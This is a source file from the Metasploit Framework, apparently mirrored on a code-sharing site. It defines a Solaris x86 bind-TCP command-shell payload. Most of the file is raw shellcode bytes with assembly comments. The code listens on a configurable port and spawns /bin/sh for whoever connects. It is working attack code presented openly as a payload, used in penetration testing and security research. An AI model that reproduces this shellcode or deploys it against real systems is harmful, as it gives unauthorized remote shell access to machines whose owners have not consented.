Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 95
8
9
include Msf::Payload::Single
10
include Msf::Payload::Solaris
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Solaris Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'solaris',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' => {
26
'Offsets' =>
27
{
28
'LPORT' => [ 20, 'n' ]
29
},
30
'Payload' =>
31
"\x68\xff\xd8\xff\x3c" + # pushl $0x3cffd8ff #
32
"\x6a\x65" + # pushl $0x65 #
33
"\x89\xe6" + # movl %esp,%esi #
34
"\xf7\x56\x04" + # notl 0x04(%esi) #
35
"\xf6\x16" + # notb (%esi) #
36
"\x31\xc0" + # xorl %eax,%eax #
37
"\x50" + # pushl %eax #
38
"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #
39
"\x89\xe7" + # movl %esp,%edi #
40
"\x6a\x02" + # pushl $0x02 #
41
"\x50" + # pushl %eax #
42
"\x50" + # pushl %eax #
43
"\x6a\x02" + # pushl $0x02 #
44
"\x6a\x02" + # pushl $0x02 #
45
"\xb0\xe6" + # movb $0xe6,%al #
46
"\xff\xd6" + # call *%esi #
47
"\x6a\x10" + # pushl $0x10 #
48
"\x57" + # pushl %edi #
49
"\x50" + # pushl %eax #
50
"\x31\xc0" + # xorl %eax,%eax #
51
"\xb0\xe8" + # movb $0xe8,%al #
52
"\xff\xd6" + # call *%esi #
53
"\x5b" + # popl %ebx #
54
"\x50" + # pushl %eax #
55
"\x50" + # pushl %eax #
56
"\x53" + # pushl %ebx #
57
"\xb0\xe9" + # movb $0xe9,%al #
58
"\xff\xd6" + # call *%esi #
59
"\xb0\xea" + # movb $0xea,%al #
60
"\xff\xd6" + # call *%esi #
61
"\x6a\x09" + # pushl $0x09 #
62
"\x50" + # pushl %eax #
63
"\x6a\x3e" + # pushl $0x3e #
64
"\x58" + # popl %eax #
65
"\xff\xd6" + # call *%esi #
66
"\xff\x4f\xd8" + # decl -0x28(%edi) #
67
"\x79\xf6" + # jns <bndsockcode+61> #
68
"\x50" + # pushl %eax #
69
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
70
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
71
"\x89\xe3" + # movl %esp,%ebx #
72
"\x50" + # pushl %eax #
73
"\x53" + # pushl %ebx #
74
"\x89\xe1" + # movl %esp,%ecx #
75
"\x50" + # pushl %eax #
76
"\x51" + # pushl %ecx #
77
"\x53" + # pushl %ebx #
78
"\xb0\x3b" + # movb $0x3b,%al #
79
"\xff\xd6" # call *%esi #
80
}
81
)
82
)
83
end
84
end
85
86